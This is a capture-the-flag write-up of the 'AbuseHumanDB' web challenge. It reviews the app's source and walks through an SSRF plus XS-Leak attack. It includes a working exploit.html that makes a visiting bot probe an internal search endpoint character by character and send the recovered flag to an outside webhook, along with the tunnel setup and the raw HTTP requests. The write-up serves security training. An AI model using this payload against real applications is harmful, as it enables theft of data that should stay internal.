Challenge AbuseHumanDB
This challenge consists of exploiting a web application vulnerable to Server-Side Request Forgery (SSRF) and Cross-Site Leak (XS-Leak), and the solution consists of leveraging the SSRF to bypass the localhost check and utilizing an HTML payload to extract the flag character by character through the XS-Leak.
The initial source code review focuses on the database configuration file, where a test entry is found to contain a fake flag with an unapproved status. Additionally, it is observed that the function responsible for listing entries only returns those marked as approved.
$ cat challenge/database.js
const sqlite = require('sqlite-async');
class Database {
constructor(db_file) {
this.db_file = db_file;
this.db = undefined;
}
async connect() {
this.db = await sqlite.open(this.db_file);
}
async migrate() {
return this.db.exec(`
PRAGMA case_sensitive_like=ON;
DROP TABLE IF EXISTS userEntries;
CREATE TABLE IF NOT EXISTS userEntries (
id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
title VARCHAR(255) NOT NULL UNIQUE,
url VARCHAR(255) NOT NULL,
approved BOOLEAN NOT NULL
);
INSERT INTO userEntries (title, url, approved) VALUES ("Back The Hox :: Cyber Catastrophe Propaganda CTF against Aliens", "https://ctf.backthehox.ew/ctf/82", 1);
INSERT INTO userEntries (title, url, approved) VALUES ("Drunk Alien Song | Patlamaya Devam (official video)", "https://www.youtune.com/watch?v=jPPT7TcFmAk", 1);
INSERT INTO userEntries (title, url, approved) VALUES ("Mars Attacks! Earth is invaded by Martians with unbeatable weapons and a cruel sense of humor.", "https://www.imbd.com/title/tt0116996/", 1);
INSERT INTO userEntries (title, url, approved) VALUES ("Professor Steven Rolling fears aliens could ‘plunder, conquer and colonise’ Earth if we contact them", "https://www.thebun.co.uk/tech/4119382/professor-steven-rolling-fears-aliens-could-plunder-conquer-and-colonise-earth-if-we-contact-them/", 1);
INSERT INTO userEntries (title, url, approved) VALUES ("HTB{f4k3_fl4g_f0r_t3st1ng}","https://app.backthehox.ew/users/107", 0);
`);
}
async listEntries(approved=1) {
return new Promise(async (resolve, reject) => {
try {
let stmt = await this.db.prepare("SELECT * FROM userEntries WHERE approved = ?");
resolve(await stmt.all(approved));
} catch(e) {
console.log(e);
reject(e);
}
});
}
async getEntry(query, approved=1) {
return new Promise(async (resolve, reject) => {
try {
let stmt = await this.db.prepare("SELECT * FROM userEntries WHERE title LIKE ? AND approved = ?");
resolve(await stmt.all(query, approved));
} catch(e) {
console.log(e);
reject(e);
}
});
}
}
module.exports = Database;
Examining the package.json file reveals the backend relies on Express, SQLite, and Puppeteer. The presence of Puppeteer indicates a bot visits user-submitted links, suggesting the challenge might involve an SSRF vulnerability to interact with internal services.
$ cat challenge/package.json
{
"name": "web_abusehumandb",
"version": "1.0.0",
"description": "",
"main": "index.js",
"scripts": {
"start": "node index.js"
},
"keywords": [],
"authors": [
"itsahobby",
"rayhan0x01",
"makelaris jr.",
"makelaris"
],
"license": "ISC",
"dependencies": {
"express": "^4.17.1",
"puppeteer": "^10.4.0",
"sqlite-async": "1.1.3"
},
"devDependencies": {
"nodemon": "^1.19.1"
}
}
Further code review of the main application routing, located in index.js, uncovers the core logic. An isLocalhost function checks the source IP address and host headers. If the request originates from the internal 127.0.0.1 address, the check returns 0, which maps to the unapproved entries in the database. The endpoint /api/entries/search allows searching with a LIKE SQL query.
An SSRF vulnerability presents a pathway to bypass this localhost verification mechanism, enabling access to unapproved records containing the flag. Given the ability to search database entries and observing the bot's behavior, an XS-Leak can be crafted to extract the hidden flag.
$ cat challenge/routes/index.js
const bot = require('../bot');
const path = require('path');
const express = require('express');
const router = express.Router();
const response = data => ({ message: data });
const isLocalhost = req => ((req.ip == '127.0.0.1' && req.headers.host == '127.0.0.1:1337') ? 0 : 1);
let db;
router.get('/', (req, res) => {
return res.sendFile(path.resolve('views/index.html'));
});
router.get('/entries', (req, res) => {
return res.sendFile(path.resolve('views/entries.html'));
});
router.get('/api/entries', (req, res) => {
return db.listEntries(isLocalhost(req))
.then(entries => {
res.json(entries);
})
.catch(() => res.send(response('Something went wrong!')));
});
router.post('/api/entries', (req, res) => {
const { url } = req.body;
if (url) {
uregex = /https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&\/\/=]*)/
if (url.match(uregex)) {
return bot.visitPage(url)
.then(() => res.send(response('Your submission is now pending review!')))
.catch(() => res.send(response('Something went wrong! Please try again!')))
}
return res.status(403).json(response('Please submit a valid URL!'));
}
return res.status(403).json(response('Missing required parameters!'));
});
router.get('/api/entries/search', (req, res) => {
if(req.query.q) {
const query = `${req.query.q}%`;
return db.getEntry(query, isLocalhost(req))
.then(entries => {
if(entries.length == 0) return res.status(404).send(response('Your search did not yield any results!'));
res.json(entries);
})
.catch(() => res.send(response('Something went wrong! Please try again!')));
}
return res.status(403).json(response('Missing required parameters!'));
});
module.exports = database => {
db = database;
return router;
};
To exploit the XS-Leak, a webhook is set up using a service such as Beeceptor to receive the final exfiltrated data.
https://xs-leak-extraction.free.beeceptor.com
An HTML payload containing a customized JavaScript routine is then prepared. The script iterates through a full character set and forces the bot to perform internal requests to the search endpoint. It assesses whether a guessed character produces a successful load event (indicating a correct character) or an error (indicating an incorrect one), progressively reconstructing the flag.
$ cat exploit.html
<!DOCTYPE html>
<html>
<body>
<script>
const chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@!_{}";
const webhook = "https://xs-leak-extraction.free.beeceptor.com";
function test(prefix, char) {
return new Promise(resolve => {
const script = document.createElement("script");
script.src =
"http://127.0.0.1:1337/api/entries/search?q=" +
encodeURIComponent(prefix + char);
script.onload = () => {
script.remove();
resolve(char);
};
script.onerror = () => {
script.remove();
resolve(null);
};
document.body.append(script);
});
}
async function nextChar(prefix) {
let i = 0;
let active = 0;
let found = null;
return new Promise(resolve => {
const next = () => {
if (found || i >= chars.length) {
if (!active) resolve(found);
return;
}
active++;
test(prefix, chars[i++]).then(char => {
active--;
if (char && !found) found = char;
if (found) {
if (!active) resolve(found);
} else {
next();
}
});
};
next();
next();
});
}
async function leak(flag) {
if (flag.endsWith("}"))
return fetch(webhook + "?flag=" + flag);
const char = await nextChar(flag);
if (char)
return leak(flag + char);
fetch(webhook + "?stuck=" + encodeURIComponent(flag));
}
leak("HTB{");
</script>
</body>
</html>
The payload is hosted locally using a Python HTTP server.
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
To make the server reachable by the application's bot, a Cloudflare tunnel is established.
$ cloudflared tunnel --url http://127.0.0.1:80
2026-07-17T16:21:32Z INF Thank you for trying Cloudflare Tunnel. Doing so, without a Cloudflare account, is a quick way to experiment and try it out. However, be aware that these account-less Tunnels have no uptime guarantee, are subject to the Cloudflare Online Services Terms of Use (https://www.cloudflare.com/website-terms/), and Cloudflare reserves the right to investigate your use of Tunnels for violations of such terms. If you intend to use Tunnels in production you should use a pre-created named tunnel by following: https://developers.cloudflare.com/cloudflare-one/connections/connect-apps
2026-07-17T16:21:32Z INF Requesting new quick Tunnel on trycloudflare.com...
2026-07-17T16:21:36Z INF +--------------------------------------------------------------------------------------------+
2026-07-17T16:21:36Z INF | Your quick Tunnel has been created! Visit it at (it may take some time to be reachable): |
2026-07-17T16:21:36Z INF | https://amazing-lovers-sounds-gay.trycloudflare.com |
2026-07-17T16:21:36Z INF +--------------------------------------------------------------------------------------------+
...
With the infrastructure in place, an HTTP POST request is submitted to the /api/entries endpoint, instructing the bot to visit the provided tunnel URL.
POST /api/entries HTTP/1.1
Host: 154.57.164.78:31154
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: */*
Accept-Language: es-MX,es;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate
Referer: http://154.57.164.78:31154/
Content-Type: application/json
Content-Length: 82
Origin: http://154.57.164.78:31154
Sec-GPC: 1
Connection: keep-alive
Priority: u=0
{"url":"https://amazing-lovers-sounds-gay.trycloudflare.com/exploit.html"}
The server responds, confirming the submission is pending review.
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 52
Date: Fri, 17 Jul 2026 16:22:39 GMT
Connection: keep-alive
Keep-Alive: timeout=5
{
"message": "Your submission is now pending review!"
}
The script successfully executes within the context of the internal browser, extracting the secret and forwarding it back to the configured webhook.
/?flag=HTB{FLAG}